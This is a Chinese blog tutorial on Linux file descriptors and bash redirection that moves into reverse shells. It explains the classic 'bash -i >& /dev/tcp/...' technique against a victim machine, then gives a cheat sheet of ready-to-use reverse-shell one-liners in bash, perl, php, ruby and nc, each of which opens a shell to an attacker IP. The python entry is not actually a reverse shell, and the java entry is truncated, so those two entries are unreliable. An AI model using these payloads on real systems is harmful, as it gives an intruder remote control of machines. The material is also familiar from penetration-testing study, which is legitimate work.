文件描述符、输入输出重定向及反弹shell
包含常见的反弹shell
文件描述符
linux启动时会默认打开三个文件描述符:标准输入(stdin,0)、标准输出(stdout,1)、标准错误(stderr,2),所有的输入输出都由该进程打开的文件描述符控制。
stdin默认绑定键盘,stdout和stderr默认绑定显示器。
当不是从键盘输入时,或者不是输出到显示器时,需要重定向。
重定向
bash在执行命令时,先检查命令中是否存在重定向符号,如果时,先将文件描述符重定向,再去除重定向符号,最后执行命令,重定向从左至右解析。
输入重定向<
,输出重定向>
(覆盖),>>
(追加)。
<
是对标准输入0重定向,>
和>>
是对标准输出1重定向。
&>
,将标准输出和标准错误都重定向,等价于> ... 2>&1
。>
将输出重定向,2>&1
将错误绑定到标准输出的文件描述符,&
是为了说明要重定向到代表标准输出的1,而不是文件名是1的一个文件。
[n]<&[m]
和[n]>&[m]
都表示把文件描述符n复制到m,个人认为第二种比较好理解。
反弹shell
反弹shell就是在攻击机上打开一个端口,等待受害者连接来进行控制。有时对方有防火墙,或者在局域网内无法直接连接,就可以通过反弹shell来连接。本质是把输入、输出和错误都重定向到服务端(攻击机)。
假设攻击机IP 192.168.1.4,受害者IP 192.168.1.5
在攻击者机器上执行
1 | nc -lvp 4444 |
在受害者机器上执行
1 | bash -i >& /dev/tcp/192.168.1.4/4444 0>&1 |
就拿到了一个反弹shell。
bash -i
表示产生一个交互式的bash
>& /dev/tcp/192.168.1.4/4444
,linux的/dev下存放的是设备文件,本例中是攻击机监听的端口,>&
是把标准输出和标准错误重定向到攻击机监听的端口。
0>&1
表示把标准输入绑定到标准输出(/dev/tcp/192.168.1.4/4444
)
以上就完成了一个经典的反弹shell
常见的反弹shell命令
bash版本:
1 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
注意某些linux不支持
perl版本:
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
python版本:
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
php版本:
1 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
ruby版本:
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
nc版本:
1 | nc -e /bin/sh 10.0.0.1 1234 |
java版本
1 | r = Runtime.getRuntime() |
文件描述符、输入输出重定向及反弹shell